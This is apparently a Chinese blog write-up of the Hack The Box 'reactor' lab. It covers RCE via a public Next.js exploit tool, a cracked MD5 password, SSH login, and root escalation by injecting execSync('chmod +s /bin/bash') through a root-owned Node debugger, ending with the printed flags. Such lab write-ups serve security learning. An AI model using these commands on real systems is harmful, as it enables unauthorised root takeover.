wenject的小屋

你好呀

633 字

3 分钟

htb-reactor

2026-05-28

技术

无标签

kali没开，就用tscan随便扫了一下，扫出了一个3000端口

和去年爆出的那个cve有点像，使用工具直接rce，https://github.com/Rsatan/Next.js-Exploit-Tool

把shell弹到vshell，方便下载下面的文件

查看数据库，在opt文件下

放到md5解密，admin的密码没解密出来，下面那个解出来了，reactor1

获取engineer用户

1
engineer:reactor1

通过ssh连上这个服务器

sudo -l发现该用户没有sudo权限

查看后台进程在跑啥，发现9929跑了root的调试器

1
 ps aux | grep node

尝试用 Node 自带的客户端去连接这个本地端口，接着修改 /bin/bash 的权限，给系统的 bash 解释器加上 SUID 权限

1
exec require('child_process').execSync('chmod +s /bin/bash')

没提权成功，换种方式

1
debug> exec process.mainModule.require('child_process').execSync('chmod +s /bin/bash')
2
Uint8Array(0)

1
engineer@reactor:~$ ls -l /bin/bash
2
-rwsr-sr-x 1 root root 1446024 Mar 31  2024 /bin/bash
3
engineer@reactor:~$ /bin/bash -p
4
bash-5.2# find flag
5
find: ‘flag’: No such file or directory
6
bash-5.2# cd /root
7
ls -la
8
total 44
9
drwx------  7 root root 4096 May 28 06:23 .
10
drwxr-xr-x 23 root root 4096 May 20 10:07 ..
11
-rw-------  1 root root    0 May 20 10:12 .bash_history
12
-rw-r--r--  1 root root 3106 Apr 22  2024 .bashrc
13
drwx------  2 root root 4096 May 20 09:10 .cache
14
drwxr-xr-x  3 root root 4096 Dec 28 20:47 .config
15
-rw-------  1 root root   20 May 18 13:10 .lesshst
16
drwxr-xr-x  3 root root 4096 Dec 28 20:54 .local
17
drwxr-xr-x  4 root root 4096 Dec 28 20:37 .npm
18
-rw-r--r--  1 root root  161 Apr 22  2024 .profile
19
-rw-r-----  1 root root   33 May 28 06:23 root.txt
20
drwx------  2 root root 4096 Dec 28 20:30 .ssh
21
bash-5.2# cat root.txt
22
4cab7aafee73421669f29b339febbbbe
23
bash-5.2# cat /home/engineer/user.txt
24
7d9c39299219779990597105501c5a26